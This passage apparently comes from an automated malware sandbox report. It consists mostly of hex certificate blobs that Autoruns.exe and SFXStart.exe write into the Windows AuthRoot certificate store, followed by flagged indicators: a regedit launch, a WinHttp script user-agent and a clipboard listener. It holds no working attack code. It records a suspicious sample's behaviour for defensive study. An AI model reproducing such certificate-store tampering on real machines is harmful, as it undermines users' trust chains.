190000000100000010000000749966cecc95c1874194ca7203f9b6200f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d4304000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 Autoruns.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 19000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c03000000010000001400000002faf3e291435468607857694df5e45b688518687e0000000100000008000000000063f58926d7011d000000010000001000000006f9583c00a763c23fb9e065a3366d55140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff20b00000001000000260000005300650063007400690067006f0020002800410064006400540072007500730074002900000053000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 Autoruns.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e SFXStart.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868 Autoruns.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 Autoruns.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c00000001000000040000000008000004000000010000001000000087ce0b7b2a0e4900e158719b37a893720300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 Autoruns.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 0f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b00000001000000260000005300650063007400690067006f00200028004100640064005400720075007300740029000000620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff2140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a1d000000010000001000000006f9583c00a763c23fb9e065a3366d557e0000000100000008000000000063f58926d70103000000010000001400000002faf3e291435468607857694df5e45b6885186820000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 Autoruns.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 0400000001000000100000001d3554048578b03f42424dbf20730a3f0f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b00000001000000260000005300650063007400690067006f00200028004100640064005400720075007300740029000000620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff2140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a1d000000010000001000000006f9583c00a763c23fb9e065a3366d557e0000000100000008000000000063f58926d70103000000010000001400000002faf3e291435468607857694df5e45b6885186819000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 Autoruns.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 SFXStart.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e SFXStart.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800001900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286040000000100000010000000497904b0eb8719ac47b0bc11519b74d0200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e SFXStart.exe -
Runs regedit.exe 1 IoCs
Processes:
regedit.exepid process 2676 regedit.exe -
Script User-Agent 3 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 709 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 715 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 79 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
explorer.exepid process 1560 explorer.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
